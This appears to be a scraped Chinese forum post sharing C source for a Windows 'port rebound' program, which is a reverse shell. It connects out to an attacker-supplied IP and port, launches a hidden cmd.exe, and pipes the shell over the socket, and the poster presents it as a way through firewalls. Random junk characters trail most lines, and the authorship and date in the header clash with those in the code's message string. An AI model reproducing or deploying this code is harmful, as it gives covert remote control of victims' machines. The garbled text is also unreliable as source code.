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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 L$`!~z 1  
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/* ============================== c(bh i  
Rebound port in Windows NT y= I LA  
By wind,2006/7 @Ns^?#u~   
===============================*/ m4n J9<-  
#include xnu|?;.}!  
#include +MQf2|--  
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#pragma comment(lib,"wsock32.lib") I,AI$A  
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void OutputShell(); &,fBg6A%  
SOCKET sClient; Z$,1Tk"O/s  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; doxQS ohS  
8jjJ/Mz`  
void main(int argc,char **argv) -{ZTp8P>  
{ AdB5D_ Ir  
WSADATA stWsaData; .l*]W!L]  
int nRet; j~"X`:=  
SOCKADDR_IN stSaiClient,stSaiServer; fh \<tnY  
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if(argc != 3) 11 .RG *  
{ HqU"i Y>b  
printf("Useage:\n\rRebound DestIP DestPort\n"); 3;j?i<kM  
return; }_M .-Xm  
} A{;b^ IK  
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WSAStartup(MAKEWORD(2,2),&stWsaData);  ?S0VtHQ  
;2}0Hr'|  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 8@/]ki `>  
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stSaiClient.sin_family = AF_INET; ,KIa+&vJW@  
stSaiClient.sin_port = htons(0); 0ldde&!p  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); g?i_10Xlp  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) N`grr{*_  
{ g=[ F W@z  
printf("Bind Socket Failed!\n"); qrNW\ME  
return; (>>pla^  
} 1(!QutEb  
[ WZ<d^L  
stSaiServer.sin_family = AF_INET; G_[|N>  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); *Yvfp{B  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); $Kb-mFR  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ,+*8 @>c  
{ r,MgIv(L  
printf("Connect Error!"); iAT&C`,(&  
return; #0L :h ?L  
} !HqIi@>8  
OutputShell(); ,US~p_M!  
} "~7| !9<  
*=S\jek  
void OutputShell() VPn #O  
{ K~@-*8%  
char szBuff[1024]; X&M4 c5Li  
SECURITY_ATTRIBUTES stSecurityAttributes; =YZp,{T  
OSVERSIONINFO stOsversionInfo; Sd^e!? bp  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ,h5.Si>  
STARTUPINFO stStartupInfo; Roy`HU ;0a  
char *szShell; rQ*'2Zf'<  
PROCESS_INFORMATION stProcessInformation; ui70|  
unsigned long lBytesRead; nUhD41GJ  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); `U!eh1*b  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); Y#{KGVT<  
stSecurityAttributes.lpSecurityDescriptor = 0; ',6QL4qV/  
stSecurityAttributes.bInheritHandle = TRUE; M5exo   
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0);  mbd  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Ps<)?q6(  
{)ZbOq2  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Zu\#;O   
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; V>A@Sw  
stStartupInfo.wShowWindow = SW_HIDE; I LF"m;  
stStartupInfo.hStdInput = hReadPipe; MJV&%E6{:{  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 7x-k-F3  
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GetVersionEx(&stOsversionInfo); '_r|L1  
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switch(stOsversionInfo.dwPlatformId) ?8! 4!P%n  
{ '/;#{("  
case 1: *-_` xe  
szShell = "command.com"; ):LJ {.0R  
break; _\sm$ `q  
default: UH%?{>oRh  
szShell = "cmd.exe"; Cl<` uW3  
break; q'+XTal  
}  vxr3|2`  
:XBeGNI*#  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); l%fnGe` _  
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send(sClient,szMsg,77,0); fBD5K3  
while(1) )/bt/,M&}  
{ S][: b  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); : [aUpX=  
if(lBytesRead) A+Y>1-=JO  
{ Lkk'y})/  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); yn!LJT[~2  
send(sClient,szBuff,lBytesRead,0); c !P9`l~MQ  
} 3Eiy/  
else ?)4|WN|c_  
{ "Oh-`C  
lBytesRead=recv(sClient,szBuff,1024,0); $CL=M  
if(lBytesRead<=0) break; wOHK dQ'  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); wc~a}0uz  
} I.y|AQB  
} e#kPf 'gL  
E;VW6[M  
return; ]4uIb+(S  
}
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